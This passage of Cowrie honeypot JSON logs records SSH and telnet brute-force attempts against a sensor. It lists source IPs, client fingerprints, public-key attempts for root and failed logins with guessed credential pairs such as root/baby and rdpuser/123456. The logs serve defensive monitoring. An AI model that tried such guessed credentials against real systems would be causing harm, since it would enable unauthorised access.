hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.192981Z","src_ip":"45.153.34.112","session":"1913d25e7dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.07517647743225,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.437997Z","src_ip":"192.119.13.58","session":"b9f40a5adb31","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.512716Z","src_ip":"45.153.34.112","session":"1913d25e7dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.077641248703,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:35.908890Z","src_ip":"192.119.13.58","session":"354732fa6cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51920,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f967d432d9a","protocol":"telnet","message":"New connection: 192.119.13.58:51920 (10.17.0.5:23) [session: 5f967d432d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:36.367465Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:36.596877Z","src_ip":"45.153.34.112","session":"1913d25e7dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"7be4cc473b3d","protocol":"telnet","message":"New connection: 192.119.13.58:53954 (10.17.0.5:23) [session: 7be4cc473b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:37.130245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"231597daa167","protocol":"telnet","message":"New connection: 192.119.13.58:58770 (10.17.0.5:23) [session: 231597daa167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:37.916795Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44560,"dst_ip":"10.17.0.5","dst_port":22,"session":"343a07dc8e4e","protocol":"ssh","message":"New connection: 45.153.34.112:44560 (10.17.0.5:22) [session: 343a07dc8e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:38.682693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:38.687461Z","src_ip":"45.153.34.112","session":"343a07dc8e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:38.770255Z","src_ip":"45.153.34.112","session":"343a07dc8e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:39.020451Z","src_ip":"45.153.34.112","session":"343a07dc8e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:40.106920Z","src_ip":"45.153.34.112","session":"343a07dc8e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.245.216.166","src_port":42276,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd858c3f67e9","protocol":"ssh","message":"New connection: 216.245.216.166:42276 (10.17.0.5:22) [session: dd858c3f67e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.603684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.607277Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.651024Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:86:db:a4:bc:e1:4d:23:8d:22:30:fa:50:08:17:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6qlI1SOAxXZ4f/4LTR2sXJAPRLarkXzUXL3qLRAhfqWazNvyg8g4UGSa9jEfGazTTV/WKWqjTv3Y2GoZyg5fGOpwWcrYzaYHMo5c80TDR4d7qQYIMiIguPtZetmIjaLR7CJu2vCb3D+ltDk6TDN8SRJhwtGCqrcEif3jUskOdkTN8Y9cSVZyjq24m01WB7F9AGn/wn2KP9Ts5vIor+QwlZ8oph/RFni0NRAAsd7IREF806wOIzjYvKuXrkwjyCWfBozDqVF6UnneDJNYG7hLPM6k46HzBz4b+pJ/ABu7nGqFkPc2RUkqA85ob+ixVlttXpxlwPqaYPcn3d2iaojgN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:86:db:a4:bc:e1:4d:23:8d:22:30:fa:50:08:17:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.826170Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:86:db:a4:bc:e1:4d:23:8d:22:30:fa:50:08:17:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6qlI1SOAxXZ4f/4LTR2sXJAPRLarkXzUXL3qLRAhfqWazNvyg8g4UGSa9jEfGazTTV/WKWqjTv3Y2GoZyg5fGOpwWcrYzaYHMo5c80TDR4d7qQYIMiIguPtZetmIjaLR7CJu2vCb3D+ltDk6TDN8SRJhwtGCqrcEif3jUskOdkTN8Y9cSVZyjq24m01WB7F9AGn/wn2KP9Ts5vIor+QwlZ8oph/RFni0NRAAsd7IREF806wOIzjYvKuXrkwjyCWfBozDqVF6UnneDJNYG7hLPM6k46HzBz4b+pJ/ABu7nGqFkPc2RUkqA85ob+ixVlttXpxlwPqaYPcn3d2iaojgN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.830702Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:32:62:ff:3f:50:35:59:81:12:ea:af:7d:07:50:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP56FACgF799Z0o877UJlUzCS3dkB6yYnPH8u26LHWJd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4d:32:62:ff:3f:50:35:59:81:12:ea:af:7d:07:50:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.874858Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:32:62:ff:3f:50:35:59:81:12:ea:af:7d:07:50:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP56FACgF799Z0o877UJlUzCS3dkB6yYnPH8u26LHWJd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.879199Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":43136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0dc9fcce2e4","protocol":"ssh","message":"New connection: 43.130.36.39:43136 (10.17.0.5:22) [session: b0dc9fcce2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.900825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.906945Z","src_ip":"43.130.36.39","session":"b0dc9fcce2e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:ae:0b:7c:80:df:49:45:2e:a1:a3:7f:37:8f:e0:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILwFe+SL7OONgEbUBVRxkgMs9aFljVEVlBJaehLwGSMX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 24:ae:0b:7c:80:df:49:45:2e:a1:a3:7f:37:8f:e0:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.922174Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:ae:0b:7c:80:df:49:45:2e:a1:a3:7f:37:8f:e0:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILwFe+SL7OONgEbUBVRxkgMs9aFljVEVlBJaehLwGSMX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.926845Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ac:80:e6:5c:e4:e0:42:94:1e:c2:d2:8b:aa:55:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaBZRRj5hlbBZxf84/xquPugy+MkSovA8uAUHbsO91f","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3e:ac:80:e6:5c:e4:e0:42:94:1e:c2:d2:8b:aa:55:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.968672Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ac:80:e6:5c:e4:e0:42:94:1e:c2:d2:8b:aa:55:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaBZRRj5hlbBZxf84/xquPugy+MkSovA8uAUHbsO91f","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.973422Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:41.980668Z","src_ip":"43.130.36.39","session":"b0dc9fcce2e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:0a:c3:ac:ee:ce:34:49:63:d3:79:e1:f3:53:69:60","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKd8XdccUlLqDOEk5Dsyl7l5zHP8bZKgY2CHpJnKY93r","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3f:0a:c3:ac:ee:ce:34:49:63:d3:79:e1:f3:53:69:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.014894Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:0a:c3:ac:ee:ce:34:49:63:d3:79:e1:f3:53:69:60","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKd8XdccUlLqDOEk5Dsyl7l5zHP8bZKgY2CHpJnKY93r","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.019926Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.061800Z","src_ip":"216.245.216.166","session":"dd858c3f67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11","message":"login attempt [user/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.279285Z","src_ip":"43.130.36.39","session":"b0dc9fcce2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50268,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6eebdb395db","protocol":"ssh","message":"New connection: 45.153.34.112:50268 (10.17.0.5:22) [session: c6eebdb395db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.523510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.527898Z","src_ip":"45.153.34.112","session":"c6eebdb395db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.609919Z","src_ip":"45.153.34.112","session":"c6eebdb395db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":34462,"dst_ip":"10.17.0.5","dst_port":22,"session":"410a4bf1e59a","protocol":"ssh","message":"New connection: 43.153.112.253:34462 (10.17.0.5:22) [session: 410a4bf1e59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.755341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.760469Z","src_ip":"43.153.112.253","session":"410a4bf1e59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.828857Z","src_ip":"43.153.112.253","session":"410a4bf1e59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:42.856485Z","src_ip":"45.153.34.112","session":"c6eebdb395db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:43.136000Z","src_ip":"43.153.112.253","session":"410a4bf1e59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:43.349279Z","src_ip":"43.130.36.39","session":"b0dc9fcce2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:43.940320Z","src_ip":"45.153.34.112","session":"c6eebdb395db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.27569842338562,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:44.090645Z","src_ip":"192.119.13.58","session":"3b6bd4c6aaa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:44.205762Z","src_ip":"43.153.112.253","session":"410a4bf1e59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0f81161a87c","protocol":"telnet","message":"New connection: 192.119.13.58:59780 (10.17.0.5:23) [session: e0f81161a87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:45.705426Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50270,"dst_ip":"10.17.0.5","dst_port":22,"session":"652455c80b7b","protocol":"ssh","message":"New connection: 45.153.34.112:50270 (10.17.0.5:22) [session: 652455c80b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:46.071778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:46.077424Z","src_ip":"45.153.34.112","session":"652455c80b7b","protocol":"ssh"}
